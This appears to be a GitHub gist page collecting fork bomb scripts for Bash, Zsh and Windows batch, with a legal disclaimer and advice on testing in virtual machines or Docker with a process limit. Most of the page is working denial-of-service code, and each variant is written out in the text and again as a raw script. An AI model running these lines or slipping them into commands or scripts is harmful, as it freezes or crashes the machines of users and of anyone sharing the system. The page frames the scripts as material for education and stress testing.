Skip to content

Instantly share code, notes, and snippets.

@stghecker
Created August 11, 2026 07:08
Show Gist options
  • Select an option

  • Save stghecker/c216be7c8ea635b9f4116bc314d067c3 to your computer and use it in GitHub Desktop.

Select an option

Save stghecker/c216be7c8ea635b9f4116bc314d067c3 to your computer and use it in GitHub Desktop.
Fork Bomb Examples

Fork Bomb Examples & System Resource Exhaustion

A collection of Fork Bomb scripts for educational research, system stress testing, and understanding operating system process management.

⚠️ WARNING: Running these scripts will crash your system or make it unresponsive. Use with extreme caution inside isolated testing environments only.


⚖️ Legal & Educational Disclaimer

IMPORTANT: PLEASE READ CAREFULLY BEFORE USING ANY CODE IN THIS REPOSITORY.

This repository and the code contained within it are published strictly for educational, research, and authorized testing purposes. A fork bomb is a form of Denial-of-Service (DoS) attack that exhausts system resources.

By using, downloading, or viewing this repository, you agree to the following terms:

  1. No Liability: The author(s) and contributors of this repository are not responsible for any damage, data loss, system crashes, or financial losses caused by the misuse of these scripts.
  2. Authorized Testing Only: You must only execute these scripts on hardware, virtual machines, or networks that you own or have explicit, written permission to test.
  3. Prohibited Misuse: Deploying these scripts on unauthorized production environments, shared servers, or school/corporate networks without consent is illegal and violates computer misuse laws globally.

💻 Script Variants

1. Linux (Bash Shell)

The classic, highly compact Bash fork bomb that uses : as the function name.

:(){ :|:& };:

2. macOS (Zsh Shell)

Designed for modern macOS versions where Zsh is the default login shell.

bomb() { bomb | bomb & }; bomb

3. Windows (Batch Script)

A Windows-specific loop that rapidly forces the command processor to spawn new instances of itself. Save this as a .bat file.

:b
start
goto :b

🔬 How to Test Safely

To study these scripts without crashing your primary operating system, always utilize strict containment methods:

  • Virtual Machines: Run the code inside an isolated VM (e.g., VirtualBox, VMware) with no unsaved data on the host machine.
  • Docker Containers: Set resource constraints when launching containers to prevent the fork bomb from leaking onto the host system:
    docker run --rm -it --pids-limit 50 ubuntu:latest
#!/bin/bash
:(){ :|:& };:
#!/bin/zsh
bomb() { bomb | bomb & }; bomb
:b
start
goto :b
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment